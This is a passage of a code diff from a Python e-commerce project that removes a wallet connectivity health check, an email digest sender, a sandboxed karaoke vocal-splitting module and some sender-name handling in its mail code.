ca = (app.get("wallet_dist.ca") or "").strip() or None
tls_count = sum(1 for v in (cert, key, ca) if v)
if tls_count not in (0, 3):
raise ValueError(
"wallet_dist.cert/key/ca must be all set or all empty "
f"(got cert={bool(cert)} key={bool(key)} ca={bool(ca)})"
)
return WalletDistConfig(
enabled=True,
our_node_name=app["wallet_dist.our_node_name"].strip(),
peer_name=app["wallet_dist.peer_name"].strip(),
peer_host=app["wallet_dist.peer_host"].strip(),
registered_name=(
app.get("wallet_dist.registered_name", "Elixir.Wallet.Service").strip()
or "Elixir.Wallet.Service"
),
tls_cert=cert,
tls_key=key,
tls_ca=ca,
cookie=cookie,
)

107
make_post_sell/lib/crypto_watcher/wallet_dist_health.py
View file

@ -1,107 +0,0 @@
"""
``mps_wallet_dist_health`` — single-shot smoke test that MPS can reach
``Wallet.Service`` on the cluster via Erlang dist.
Usage::
mps_wallet_dist_health /opt/make_post_sell/production.ini
Reads the ``wallet_dist`` keys from ``[app:main]``, opens a dist
connection via erldistpy, calls a handful of cheap operations
(``health`` checks against the wallet node), prints results.
Exit code:
0 if connection + RPC succeeded
2 if config is missing / wallet_dist not enabled
3 if the dist connection or RPC call failed (likely cert/cookie
mismatch, network reach, or wallet@cammy down — log line above
will name the failure)
"""
from __future__ import annotations
import argparse
import sys
import traceback
from make_post_sell.lib.crypto_watcher.wallet_dist_config import (
WalletDistConfig,
load_wallet_dist_config,
)
def _parse_args(argv: list[str] | None = None) -> argparse.Namespace:
parser = argparse.ArgumentParser(
prog="mps_wallet_dist_health",
description="Verify MPS can talk to wallet@cammy over Erlang dist.",
)
parser.add_argument(
"config_path",
nargs="?",
default="/opt/make_post_sell/production.ini",
help="path to production.ini (default: /opt/make_post_sell/production.ini)",
)
parser.add_argument(
"--timeout",
type=float,
default=10.0,
help="dist call timeout in seconds (default: 10.0)",
)
return parser.parse_args(argv)
def main(argv: list[str] | None = None) -> int:
args = _parse_args(argv)
try:
cfg = load_wallet_dist_config(args.config_path)
except Exception as e:
print(f"config error: {e}", file=sys.stderr)
return 2
if not cfg.enabled:
print("wallet_dist.enabled = false (nothing to test)", file=sys.stderr)
return 2
print("=== MPS wallet-dist health check ===")
print(f"our_node_name : {cfg.our_node_name}")
print(f"peer : {cfg.peer_name}@{cfg.peer_host}")
print(f"registered_name : {cfg.registered_name}")
print(f"tls : {'mTLS' if cfg.tls_cert else 'plain'}")
print("")
# Local import — erldistpy is a runtime-optional dep (only required
# when wallet_dist is enabled). Importing at module top would force
# the dep on every MPS process, including ones that never touch dist.
try:
from make_post_sell.lib.crypto_watcher.erldist_clients import (
ErlangDistMoneroClient,
)
except ImportError as e:
print(f"erldistpy not installed: {e}", file=sys.stderr)
print("hint: pip install 'erldistpy>=0.1.6'", file=sys.stderr)
return 3
try:
with ErlangDistMoneroClient(
**cfg.client_kwargs(),
call_timeout=args.timeout,
) as client:
print("connected")
height = client.get_height()
print(f"monero height: {height}")
synced = client.is_synced()
print(f"synced: {synced}")
except Exception as e:
print(f"\nDIST RPC FAILED: {type(e).__name__}: {e}", file=sys.stderr)
print("traceback:", file=sys.stderr)
traceback.print_exc()
return 3
print("")
print("OK - MPS can reach Wallet.Service on the cluster")
return 0
if __name__ == "__main__": # pragma: no cover
sys.exit(main())

207
make_post_sell/lib/digest_sender.py
View file

@ -1,207 +0,0 @@
"""
Console script to send email digests to shop subscribers.
Usage:
digest_sender data/development.ini --frequency immediate
digest_sender data/development.ini --frequency daily
digest_sender data/development.ini --frequency weekly --dry-run
Cron setup:
*/5 * * * * /path/to/env/bin/digest_sender /path/to/production.ini --frequency immediate
0 8 * * * /path/to/env/bin/digest_sender /path/to/production.ini --frequency daily
0 8 * * 1 /path/to/env/bin/digest_sender /path/to/production.ini --frequency weekly
"""
import argparse
import sys
import logging
import transaction
from pyramid.paster import bootstrap, setup_logging
from ..models.meta import now_timestamp
from ..models.shop import Shop
from ..models.product import Product
from ..models.shop_subscription import (
FREQUENCY_DAILY,
FREQUENCY_WEEKLY,
FREQUENCY_IMMEDIATE,
get_verified_subscriptions_for_shop,
)
from .mail import send_email
from .mail_messages import DIGEST_TEXT, DIGEST_HTML
logger = logging.getLogger(__name__)
def parse_args(argv):
p = argparse.ArgumentParser(
description="Send email digests to shop subscribers"
)
p.add_argument("config_uri", help="Pyramid config file, e.g. development.ini")
p.add_argument(
"--frequency",
choices=["immediate", "daily", "weekly"],
required=True,
help="Which frequency of subscribers to process",
)
p.add_argument(
"--dry-run",
action="store_true",
help="Log what would be sent without actually sending",
)
return p.parse_args(argv[1:])
def get_new_items_for_subscriber(dbsession, shop, since_timestamp):
"""Query new public products created after since_timestamp."""
return (
dbsession.query(Product)
.filter(
Product.shop_id == shop.id,
Product.visibility == 1,
Product.created_timestamp > since_timestamp,
)
.order_by(Product.created_timestamp.desc())
.all()
)
def build_digest_text(shop_name, items, unsubscribe_url):
"""Build plain text digest email."""
item_lines = []
for item in items:
label = "Product" if item.is_sellable else "Content"
item_lines.append(f"- [{label}] {item.title}")
items_text = "\n".join(item_lines)
return DIGEST_TEXT.format(shop_name, items_text, unsubscribe_url)
def build_digest_html(shop_name, items, unsubscribe_url, get_endpoint=""):
"""Build HTML digest email."""
item_parts = []
for item in items:
label = "Product" if item.is_sellable else "Content"
thumbnail = ""
if "thumbnail1" in item.extensions and get_endpoint:
thumbnail = (
f'<img src="{get_endpoint}/{item.s3_path}/thumbnail1?ts={item.updated_timestamp}" '
f'style="border: 1px solid #ddd; border-radius: 4px; max-width: 120px; '
f'max-height: 120px; width: auto; height: auto;" /><br/>'
)
item_parts.append(
f'<p>{thumbnail}<b>{item.title}</b> <span style="color: #888;">({label})</span></p>'
)
items_html = "\n".join(item_parts)
subject = f"New from {shop_name}"
return DIGEST_HTML.format(subject, shop_name, items_html, unsubscribe_url)
def run(env, frequency_str, dry_run=False):
"""Process all shops and send digests."""
freq_map = {
"immediate": FREQUENCY_IMMEDIATE,
"daily": FREQUENCY_DAILY,
"weekly": FREQUENCY_WEEKLY,
}
frequency = freq_map.get(frequency_str, FREQUENCY_DAILY)
request = env["request"]
dbsession = request.dbsession
settings = request.registry.settings
# Email settings
default_sender = "no-reply@makepostsell.com"
sender_email = settings.get("app.email.sender", default_sender)
relay = settings.get("app.email.relay", "localhost")
dkim_private_key_path = settings.get("app.email.dkim_private_key_path", "")
dkim_selector = settings.get("app.email.dkim_selector", "")
dkim_signature_algorithm = settings.get(
"app.email.dkim_signature_algorithm", "ed25519-sha256"
)
get_endpoint = settings.get("app.bucket.secure_uploads.get_endpoint", "")
shops = (
dbsession.query(Shop)
.filter(Shop.subscriptions_enabled == True)
.filter(Shop.environment == 0) # MPS-14: exclude non-production shops
.all()
)
for shop in shops:
subscribers = get_verified_subscriptions_for_shop(
dbsession, shop.id, frequency=frequency
)
if not subscribers:
logger.info(f"Shop '{shop.name}': no {frequency_str} subscribers")
continue
for sub in subscribers:
items = get_new_items_for_subscriber(
dbsession, shop, sub.last_digest_timestamp
)
if not items:
logger.info(
f"Shop '{shop.name}': no new items for {sub.email} since last digest"
)
continue
unsubscribe_url = f"{request.host_url}/unsubscribe/{sub.unsubscribe_token}"
subject = f"New from {shop.name}"
message_text = build_digest_text(shop.name, items, unsubscribe_url)
message_html = build_digest_html(
shop.name, items, unsubscribe_url, get_endpoint
)
if dry_run:
logger.info(
f"[DRY RUN] Would send digest to {sub.email} for shop '{shop.name}' "
f"with {len(items)} item(s)"
)
else:
try:
send_email(
sub.email,
sender_email,
subject,
message_text,
message_html,
relay,
dkim_private_key_path,
dkim_selector,
dkim_signature_algorithm,
)
logger.info(
f"Sent digest to {sub.email} for shop '{shop.name}' "
f"with {len(items)} item(s)"
)
except Exception as e:
logger.error(
f"Failed to send digest to {sub.email} for shop '{shop.name}': {e}"
)
continue
# Update last_digest_timestamp
sub.last_digest_timestamp = now_timestamp()
def main(argv=sys.argv):
args = parse_args(argv)
setup_logging(args.config_uri)
logger.info(
f"Digest sender started: frequency={args.frequency}, dry_run={args.dry_run}"
)
with bootstrap(args.config_uri) as env:
try:
with transaction.manager:
run(env, args.frequency, args.dry_run)
finally:
logger.info("Digest sender finished")
if __name__ == "__main__":
main()

707
make_post_sell/lib/karaoke.py
View file

@ -1,707 +0,0 @@
"""Karaoke mode — vocal isolation via unsandbox zerotrust containers.
Downloads media from S3, uploads it + voxsplit.c via the /upload endpoint
(streaming, constant memory), then kicks off /execute referencing upload_ids.
Gets back both instrumentals and vocals, uploads them to S3.
Upload-based pipeline: files stream directly from disk to the API in 64KB
chunks — never base64-encoded, never held in memory on either side.
"""
import base64
import fcntl
import hashlib
import hmac
import json
import logging
import os
import tempfile
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
from .un import API_BASE, _resolve_credentials, validate_keys
log = logging.getLogger(__name__)
_READ_CHUNK = 65536 # 64KB streaming buffer
VOXSPLIT_SOURCE = os.environ.get(
"VOXSPLIT_SOURCE_PATH",
os.path.join(os.path.dirname(__file__), "voxsplit.c"),
)
def _sign_body(secret_key, timestamp, method, path, body_bytes):
"""HMAC-SHA256 matching un._sign_request for small payloads."""
h = hmac.new(secret_key.encode(), digestmod=hashlib.sha256)
h.update(f"{timestamp}:{method}:{path}:{body_bytes}".encode())
return h.hexdigest()
def _upload_file(file_path, filename, public_key, secret_key):
"""Upload a file via POST /upload (streaming, constant memory).
Returns the upload_id string.
Note: the API skips body parsing for /upload (body streams in chunks),
so the HMAC signs against an empty body — not the file content.
"""
timestamp = int(time.time())
method = "POST"
path = "/upload"
# API doesn't buffer upload bodies for HMAC — sign with empty body
signature = _sign_body(secret_key, timestamp, method, path, "")
headers = {
"Authorization": f"Bearer {public_key}",
"X-Timestamp": str(timestamp),
"X-Signature": signature,
"X-Filename": filename,
"Content-Type": "application/octet-stream",
}
url = f"{API_BASE}{path}"
with open(file_path, "rb") as body:
response = requests.post(
url, data=body, headers=headers, stream=False, timeout=300,
)
response.raise_for_status()
result = response.json()
return result["upload_id"]
def _execute_with_uploads(upload_ids, script, public_key, secret_key, tmpdir):
"""POST /execute referencing upload_ids instead of inline content.
The JSON body contains only metadata — no file content. Returns path
to response.json on disk.
"""
payload = {
"language": "bash",
"code": script,
"network_mode": "zerotrust",
"ttl": 300,
"vcpu": 2,
"input_files": [
{"upload_id": uid, "filename": fname}
for fname, uid in upload_ids
],
}
body_str = json.dumps(payload)
timestamp = int(time.time())
method = "POST"
path = "/execute"
signature = _sign_body(secret_key, timestamp, method, path, body_str)
headers = {
"Authorization": f"Bearer {public_key}",
"X-Timestamp": str(timestamp),
"X-Signature": signature,
"Content-Type": "application/json",
}
url = f"{API_BASE}{path}"
response = requests.post(
url, data=body_str.encode(), headers=headers, stream=True, timeout=300,
)
response.raise_for_status()
resp_path = os.path.join(tmpdir, "response.json")
with open(resp_path, "wb") as f:
for chunk in response.iter_content(chunk_size=_READ_CHUNK):
if chunk:
f.write(chunk)
return resp_path
def _process_response_from_disk(resp_path, s3_client, bucket, s3_path,
is_video, extension, tmpdir):
"""Parse response JSON, decode artifacts to tmpfiles, upload to S3.
Returns {"instrumentals": size, "vocals": size} or None.
"""
with open(resp_path, "r") as f:
result = json.load(f)
os.unlink(resp_path)
if not result.get("success") or result.get("exit_code") != 0:
log.warning(
"Unsandbox execute non-zero exit: success=%s exit_code=%s "
"stdout=%.2000s stderr=%.2000s",
result.get("success"), result.get("exit_code"),
result.get("stdout", ""), result.get("stderr", ""),
)
return None
artifacts = result.get("artifacts", [])
if len(artifacts) < 2:
return None
artifact_map = {}
for a in artifacts:
fname = a.get("filename", "")
if fname.startswith("instrumentals"):
artifact_map["instrumentals"] = a
elif fname.startswith("vocals"):
artifact_map["vocals"] = a
if "instrumentals" not in artifact_map or "vocals" not in artifact_map:
return None
sizes = {}
content_type = "video/mp4" if is_video else "audio/wav"
for track_name in ("instrumentals", "vocals"):
artifact = artifact_map[track_name]
decoded = base64.b64decode(artifact["content_base64"])
track_path = os.path.join(tmpdir, f"{track_name}.bin")
with open(track_path, "wb") as f:
f.write(decoded)
size = len(decoded)
del decoded
del artifact["content_base64"]
with open(track_path, "rb") as f:
s3_client.put_object(
Bucket=bucket,
Key=f"{s3_path}/{track_name}",
Body=f,
CacheControl="private, max-age=172800",
ContentType=content_type,
)
sizes[track_name] = size
os.unlink(track_path)
return sizes
def process_karaoke(s3_client, bucket, s3_key, s3_path,
is_video, extension, public_key=None, secret_key=None,
skip_validate=False):
"""Download from S3 -> process in unsandbox zerotrust -> upload both tracks.
Upload-based pipeline: files stream to the API via POST /upload (64KB
chunks, constant memory on both sides), then /execute references them
by upload_id. Zero base64 encoding on the request side.
Produces two files under s3_path:
{s3_path}/instrumentals
{s3_path}/vocals
Returns dict {"instrumentals": size, "vocals": size} on success, None on failure.
"""
public_key, secret_key = _resolve_credentials(public_key, secret_key)
if not skip_validate:
try:
validate_keys(public_key, secret_key)
except Exception as e:
log.warning("Unsandbox API keys invalid or expired — skipping: %s", e)
return None
log.info("process_karaoke: bucket=%s key=%s s3_path=%s", bucket, s3_key, s3_path)
with tempfile.TemporaryDirectory(prefix="karaoke_") as tmpdir:
# 1. Stream S3 download to disk
media_path = os.path.join(tmpdir, "media.bin")
resp = s3_client.get_object(Bucket=bucket, Key=s3_key)
with open(media_path, "wb") as f:
body = resp["Body"]
while True:
chunk = body.read(_READ_CHUNK)
if not chunk:
break
f.write(chunk)
# 2. Prepare voxsplit binary
voxsplit_bin = os.path.join(tmpdir, "voxsplit.bin")
with open(VOXSPLIT_SOURCE, "r") as src, open(voxsplit_bin, "wb") as dst:
dst.write(src.read().encode())
# 3. Upload both files via /upload (streaming, constant memory)
try:
media_upload_id = _upload_file(
media_path, "media", public_key, secret_key,
)
os.unlink(media_path)
voxsplit_upload_id = _upload_file(
voxsplit_bin, "voxsplit.c", public_key, secret_key,
)
os.unlink(voxsplit_bin)
except Exception as e:
log.warning("Unsandbox upload failed: %s", e)
return None
# 4. Build execution script
extract_wav = (
"gcc -O2 -o /tmp/voxsplit /tmp/input/voxsplit.c -lm && "
"ffmpeg -y -i /tmp/input/media -vn -acodec pcm_s16le -ar 44100 -ac 2 /tmp/audio.wav && "
"/tmp/voxsplit /tmp/audio.wav -o /tmp/split && "
"mkdir -p /tmp/artifacts"
)
if is_video:
inst_name = f"instrumentals.{extension}"
vocals_name = f"vocals.{extension}"
script = (
f"{extract_wav} && "
f"ffmpeg -y -i /tmp/input/media -i /tmp/split-instrumental.wav "
f"-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/{inst_name} && "
f"ffmpeg -y -i /tmp/input/media -i /tmp/split-vocal.wav "
f"-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/{vocals_name}"
)
else:
script = (
f"{extract_wav} && "
"cp /tmp/split-instrumental.wav /tmp/artifacts/instrumentals.wav && "
"cp /tmp/split-vocal.wav /tmp/artifacts/vocals.wav"
)
# 5. Execute with upload_id references (tiny JSON body, no file content)
try:
resp_path = _execute_with_uploads(
[("media", media_upload_id), ("voxsplit.c", voxsplit_upload_id)],
script, public_key, secret_key, tmpdir,
)
except Exception as e:
log.warning("Unsandbox execute failed: %s", e)
return None
# 6. Process response, upload artifacts to S3
return _process_response_from_disk(
resp_path, s3_client, bucket, s3_path, is_video, extension, tmpdir,
)
def tracks_exist(s3_client, bucket, s3_path):
"""Check if instrumentals and vocals already exist in S3."""
for track in ("instrumentals", "vocals"):
try:
s3_client.head_object(Bucket=bucket, Key=f"{s3_path}/{track}")
except Exception:
return False
return True
def capture_karaoke_config(shop, app_settings):
"""Snapshot every value process_karaoke_detached needs, into plain dicts.
Called in the parent request while the shop ORM object is live. The
grandchild process receives only immutable values — no DB reads
required until the final metadata write (after karaoke completes,
minutes later, by which time the parent has long committed).
app_settings: the app-prefix-stripped settings dict — i.e. request.app
(NOT request.registry.settings, which keeps the "app." prefix in prod).
"""
if shop.has_primary_s3:
s3_creds = {
"region": shop.primary_s3_region,
"endpoint": shop.primary_s3_endpoint,
"access_key": shop.primary_s3_access_key,
"secret_key": shop.primary_s3_secret_key,
"bucket": shop.primary_s3_bucket,
}
else:
s3_creds = {
"region": app_settings["bucket.secure_uploads.region"],
"endpoint": app_settings["bucket.secure_uploads.post_endpoint"],
"access_key": app_settings["bucket.secure_uploads.access_key"],
"secret_key": app_settings["bucket.secure_uploads.secret_key"],
"bucket": app_settings["bucket.secure_uploads"],
}
mirror_creds = None
if shop.has_s3_mirror:
mirror_creds = {
"region": shop.mirror_s3_region,
"endpoint": shop.mirror_s3_endpoint,
"access_key": shop.mirror_s3_access_key,
"secret_key": shop.mirror_s3_secret_key,
"bucket": shop.mirror_s3_bucket,
}
return {
"unsandbox_pk": shop.unsandbox_public_key,
"unsandbox_sk": shop.unsandbox_secret_key,
"s3": s3_creds,
"mirror": mirror_creds,
}
def process_karaoke_detached(product_id, file_key, extension, s3_path,
karaoke_config, db_url):
"""Fire-and-forget karaoke processing via detached child process.
Double-forks so the worker survives uWSGI recycling, then runs
process_karaoke on the given source file and updates the product's
file_metadata + file_bytes with the resulting instrumentals/vocals.
Per-product lockfile (/tmp/karaoke_{product_id}.lock) prevents
concurrent runs for the same product — a second call while one is
in flight silently returns.
All shop config (unsandbox keys, S3 creds, mirror creds) is
captured by the caller via capture_karaoke_config() before the
fork, so the grandchild never reads uncommitted data across the
fork boundary. The grandchild's only DB contact is a write at the
end — after karaoke completes (minutes), by which time the parent
request has long since committed.
Returns immediately in the parent. All errors in the grandchild
are logged, never raised.
"""
from ..models.product import get_media_type
lockfile = f"/tmp/karaoke_{product_id}.lock"
# Pre-check in parent: skip fork if another karaoke is already running
try:
check_fd = open(lockfile, "w")
fcntl.flock(check_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
fcntl.flock(check_fd, fcntl.LOCK_UN)
check_fd.close()
except (IOError, OSError):
return
pid = os.fork()
if pid > 0:
os.waitpid(pid, 0)
return
# Intermediate child: detach from uWSGI
os.setsid()
pid2 = os.fork()
if pid2 > 0:
os._exit(0)
# --- Grandchild: fully detached ---
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
for fd in range(3, maxfd):
try:
os.close(fd)
except OSError:
pass
lock_fd = None
try:
lock_fd = open(lockfile, "w")
fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
lock_fd.write(str(os.getpid()))
lock_fd.flush()
import boto3
from sqlalchemy import create_engine
from sqlalchemy.orm import Session as SASession
from ..models.product import Product
from .s3_mirror import _make_mirror_client, mirror_key
is_video = (get_media_type(extension) == "video")
s3_key = f"{s3_path}/{file_key}"
s3_cfg = karaoke_config["s3"]
bucket = s3_cfg["bucket"]
s3 = boto3.session.Session().client(
"s3",
region_name=s3_cfg["region"],
endpoint_url=s3_cfg["endpoint"],
aws_access_key_id=s3_cfg["access_key"],
aws_secret_access_key=s3_cfg["secret_key"],
)
log.info("Detached karaoke: product=%s key=%s", product_id, s3_key)
sizes = process_karaoke(
s3, bucket, s3_key, s3_path, is_video, extension,
public_key=karaoke_config["unsandbox_pk"],
secret_key=karaoke_config["unsandbox_sk"],
)
if not sizes:
log.warning("Detached karaoke produced no tracks: product=%s", product_id)
return
# Persist metadata — parent request has long since committed by now
engine = create_engine(db_url)
session = SASession(bind=engine)
try:
product = session.get(Product, product_id)
if product:
track_ext = extension if is_video else "wav"
for track_name in ("instrumentals", "vocals"):
product.set_file_metadata(
track_name, track_ext, f"{track_name}.{track_ext}"
)
tmp = product.file_bytes
tmp.update(sizes)
product.file_bytes = tmp
session.add(product)
session.commit()
product.update_s3_acls(s3, bucket)
log.info("Detached karaoke done: product=%s inst=%dB vox=%dB",
product_id, sizes["instrumentals"], sizes["vocals"])
except Exception:
session.rollback()
log.exception("Detached karaoke DB write failed: product=%s", product_id)
finally:
session.close()
engine.dispose()
# Mirror synchronously — a daemon thread would die at os._exit
mirror_cfg = karaoke_config["mirror"]
if mirror_cfg:
dst = _make_mirror_client(
mirror_cfg["endpoint"],
mirror_cfg["region"],
mirror_cfg["access_key"],
mirror_cfg["secret_key"],
)
for track_name in ("instrumentals", "vocals"):
mirror_key(
s3, bucket, f"{s3_path}/{track_name}",
dst, mirror_cfg["bucket"],
)
except (IOError, OSError):
pass # another karaoke acquired lock between pre-check and here
except Exception:
log.exception("Detached karaoke grandchild failed: product=%s", product_id)
finally:
if lock_fd:
try:
lock_fd.close()
os.unlink(lockfile)
except OSError:
pass
os._exit(0)
def backfill_karaoke_async(shop_id, session_factory, app_settings):
"""Backfill vocal isolation tracks for a shop's catalog.
Forks a child process so the backfill survives uWSGI worker recycling.
Uses fcntl.flock on a lockfile for one-per-shop guard (auto-releases on crash).
Pool size matches the unsandbox account's concurrency limit (from validate_keys).
"""
shop_id_str = str(shop_id)
lockfile = f"/tmp/karaoke_backfill_{shop_id_str}.lock"
# Capture the DB URL before forking — the engine's fd dies after fork+close
db_url = str(session_factory().get_bind().url)
# Quick check — if lockfile exists and is locked, skip
try:
check_fd = open(lockfile, "w")
fcntl.flock(check_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
# Got lock — release it, we'll re-acquire in child
fcntl.flock(check_fd, fcntl.LOCK_UN)
check_fd.close()
except (IOError, OSError):
return # another backfill is running for this shop
pid = os.fork()
if pid > 0:
# Parent: reap the intermediate child immediately so it doesn't zombie
os.waitpid(pid, 0)
return
# Intermediate child: detach fully from uWSGI, then fork again
os.setsid()
pid2 = os.fork()
if pid2 > 0:
os._exit(0) # intermediate child exits — grandchild is orphaned to init
# --- Grandchild process: fully detached from uWSGI ---
# Close inherited file descriptors (uWSGI sockets, HTTP connections)
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
for fd in range(3, maxfd):
try:
os.close(fd)
except OSError:
pass
lock_fd = None
try:
# Acquire file lock (guards one-per-shop)
lock_fd = open(lockfile, "w")
fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
lock_fd.write(str(os.getpid()))
lock_fd.flush()
import boto3
from sqlalchemy import create_engine
from sqlalchemy.orm import Session as SASession
from ..models.product import Product, get_media_type
from ..models.shop import Shop
# Create a fresh engine — the parent's SQLite connection fd was closed
# after fork (lines 195-199). Reusing session_factory would hit a dead fd.
engine = create_engine(db_url)
session = SASession(bind=engine)
def _make_s3():
# BYOB: use shop's own bucket if configured (MPS-16)
if shop and shop.has_primary_s3:
return boto3.session.Session().client(
"s3",
region_name=shop.primary_s3_region,
endpoint_url=shop.primary_s3_endpoint,
aws_access_key_id=shop.primary_s3_access_key,
aws_secret_access_key=shop.primary_s3_secret_key,
)
return boto3.session.Session().client(
"s3",
region_name=app_settings["bucket.secure_uploads.region"],
endpoint_url=app_settings["bucket.secure_uploads.post_endpoint"],
aws_access_key_id=app_settings["bucket.secure_uploads.access_key"],
aws_secret_access_key=app_settings["bucket.secure_uploads.secret_key"],
)
try:
# Must load shop before _make_s3 can check has_primary_s3
shop = session.get(Shop, shop_id)
if not shop or not shop.unsandbox_public_key or not shop.unsandbox_secret_key:
return
s3 = _make_s3()
bucket = shop.primary_s3_bucket if shop.has_primary_s3 else app_settings["bucket.secure_uploads"]
pk, sk = shop.unsandbox_public_key, shop.unsandbox_secret_key
# Query account concurrency from unsandbox API — abort if keys are bad
try:
key_info = validate_keys(pk, sk)
concurrency = max(1, int(key_info.get("concurrency", 1)))
except Exception as e:
log.error("Backfill aborted — unsandbox keys invalid or expired for shop %s: %s", shop.name, e)
return
log.info("Backfill karaoke for shop %s — %d concurrent workers (pid %d)",
shop.name, concurrency, os.getpid())
# Collect work items
work = []
skipped_existing = 0
products = session.query(Product).filter(Product.shop_id == shop_id).all()
log.info("Backfill: %d total products for shop %s", len(products), shop.name)
for product in products:
for file_key in ("product", "preview"):
ext = product.extensions.get(file_key)
if not ext:
continue
media_type = get_media_type(ext)
if media_type not in ("video", "audio"):
continue
if tracks_exist(s3, bucket, product.s3_path):
skipped_existing += 1
continue
work.append((product.id, product.s3_path, product.title, file_key, ext, media_type))
log.info("Backfill: %d audio/video items, %d already have tracks, %d to process",
len(work) + skipped_existing, skipped_existing, len(work))
if not work:
log.info("No products need backfill for shop %s", shop.name)
return
MAX_RETRIES = 3
BACKOFF_BASE = 5 # seconds
# Process a single product with retries (runs in pool thread)
def _process_one(item):
product_id, s3_path, title, file_key, ext, media_type = item
thread_s3 = _make_s3()
is_video = (media_type == "video")
for attempt in range(MAX_RETRIES):
log.info("Backfill karaoke: %s (%s) attempt %d/%d",
title, file_key, attempt + 1, MAX_RETRIES)
try:
sizes = process_karaoke(
thread_s3, bucket,
f"{s3_path}/{file_key}",
s3_path, is_video, ext,
public_key=pk, secret_key=sk,
skip_validate=True,
)
if sizes:
return product_id, title, file_key, ext, media_type, sizes
except Exception as exc:
# Don't retry if the source file doesn't exist in S3
if "NoSuchKey" in str(type(exc).__name__) or "NoSuchKey" in str(exc):
log.warning(" SKIP %s (%s) — source file not in S3", title, file_key)
return product_id, title, file_key, ext, media_type, None
log.exception("Backfill attempt %d failed for %s", attempt + 1, title)
if attempt < MAX_RETRIES - 1:
import time as _time
wait = BACKOFF_BASE * (2 ** attempt)
log.info(" Retrying %s in %ds...", title, wait)
_time.sleep(wait)
return product_id, title, file_key, ext, media_type, None
# Fan out with thread pool
with ThreadPoolExecutor(max_workers=concurrency) as pool:
futures = {pool.submit(_process_one, item): item for item in work}
for future in as_completed(futures):
try:
product_id, title, file_key, ext, media_type, sizes = future.result()
except Exception:
item = futures[future]
log.exception("Backfill worker crashed for %s", item[2])
continue
if sizes:
# DB write only on success — no partial state
product = session.get(Product, product_id)
if not product:
continue
track_ext = ext if media_type == "video" else "wav"
for track_name in ("instrumentals", "vocals"):
product.set_file_metadata(track_name, track_ext, f"{track_name}.{track_ext}")
tmp = product.file_bytes
tmp.update(sizes)
product.file_bytes = tmp
session.add(product)
session.commit()
product.update_s3_acls(s3, bucket)
log.info(" OK %s (inst=%dB, vox=%dB)", title, sizes["instrumentals"], sizes["vocals"])
else:
log.warning(" FAILED %s after %d attempts", title, MAX_RETRIES)
log.info("Backfill complete for shop %s", shop.name)
except Exception:
session.rollback()
log.exception("Background karaoke backfill failed for shop %s", shop_id_str)
finally:
session.close()
engine.dispose()
except (IOError, OSError):
pass # couldn't acquire lock — another backfill is running
except Exception:
log.exception("Backfill child process failed for shop %s", shop_id_str)
finally:
if lock_fd:
try:
lock_fd.close()
os.unlink(lockfile)
except OSError:
pass
os._exit(0)

316
make_post_sell/lib/mail.py
View file

@ -16,27 +16,12 @@ from make_post_sell.lib.mail_messages import (
SALE_1_HTML,
INVITE_1_TEXT,
INVITE_1_HTML,
AUCTION_OUTBID_TEXT,
AUCTION_OUTBID_HTML,
OFFER_RECEIVED_TEXT,
OFFER_RECEIVED_HTML,
OFFER_ACCEPTED_TEXT,
OFFER_ACCEPTED_HTML,
OFFER_COUNTERED_TEXT,
OFFER_COUNTERED_HTML,
OFFER_DECLINED_TEXT,
OFFER_DECLINED_HTML,
OFFER_WITHDRAWN_TEXT,
OFFER_WITHDRAWN_HTML,
OFFER_BUYER_CANCELLED_TEXT,
OFFER_BUYER_CANCELLED_HTML,
)
import dkim
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formataddr
# Catch socket errors when postfix isn't running...
from socket import error as socket_error
@ -45,17 +30,6 @@ import logging
log = logging.getLogger(__name__)
def format_from_header(from_name, sender_email):
"""Build the From header value.
With a display name -> '"Acme Shop" <no-reply@origin.makepostsell.com>'.
Without -> the bare address. formataddr handles RFC-2047 encoding/quoting.
"""
if from_name:
return formataddr((from_name, sender_email))
return sender_email
def send_email(
to_email,
sender_email,
@ -67,7 +41,6 @@ def send_email(
dkim_selector="",
dkim_signature_algorithm="ed25519-sha256",
debug_mode=False,
from_name="",
):
# The `email` library assumes it is working with string objects.
# The `dkim` library assumes it is working with byte objects.
@ -86,7 +59,7 @@ def send_email(
msg.attach(MIMEText(message_text, "plain"))
msg.attach(MIMEText(message_html, "html"))
msg["To"] = to_email
msg["From"] = format_from_header(from_name, sender_email)
msg["From"] = sender_email
msg["Subject"] = subject
try:
@ -172,15 +145,6 @@ def send_pyramid_email(request, to_email, subject, message_text, message_html):
"email.dkim_signature_algorithm", "ed25519-sha256"
)
# Recipient-facing sender name: the shop (when in shop context) so that one
# warm sending address (email.sender) can carry mail for every shop without
# the recipient seeing a generic no-reply@. Falls back to a configured
# platform name, then to nothing (bare address).
shop = getattr(request, "shop", None)
from_name = (getattr(shop, "name", "") if shop else "") or request.app.get(
"email.from_name", ""
)
send_email(
to_email,
sender_email,
@ -192,7 +156,6 @@ def send_pyramid_email(request, to_email, subject, message_text, message_html):
dkim_selector,
dkim_signature_algorithm,
request.debug_mode,
from_name,
)
@ -237,7 +200,7 @@ def send_purchase_email(request, to_email, products, total_cost):
thumbnail = ""
if "thumbnail1" in p.extensions:
thumbnail = '<img src="{}/{}/thumbnail1?ts={}" style="border: 1px solid #ddd; border-radius: 4px; max-width: 184px; max-height: 184px; width: auto; height: auto;" />'.format(
request.shop_cdn_endpoint,
request.app["bucket.secure_uploads.get_endpoint"],
p.s3_path,
p.updated_timestamp,
)
@ -276,7 +239,7 @@ def send_sale_email(request, shop, products, total_cost):
thumbnail = ""
if "thumbnail1" in p.extensions:
thumbnail = '<img src="{}/{}/thumbnail1?ts={}" style="border: 1px solid #ddd; border-radius: 4px; max-width: 184px; max-height: 184px; width: auto; height: auto;" />'.format(
request.shop_cdn_endpoint,
request.app["bucket.secure_uploads.get_endpoint"],
p.s3_path,
p.updated_timestamp,
)
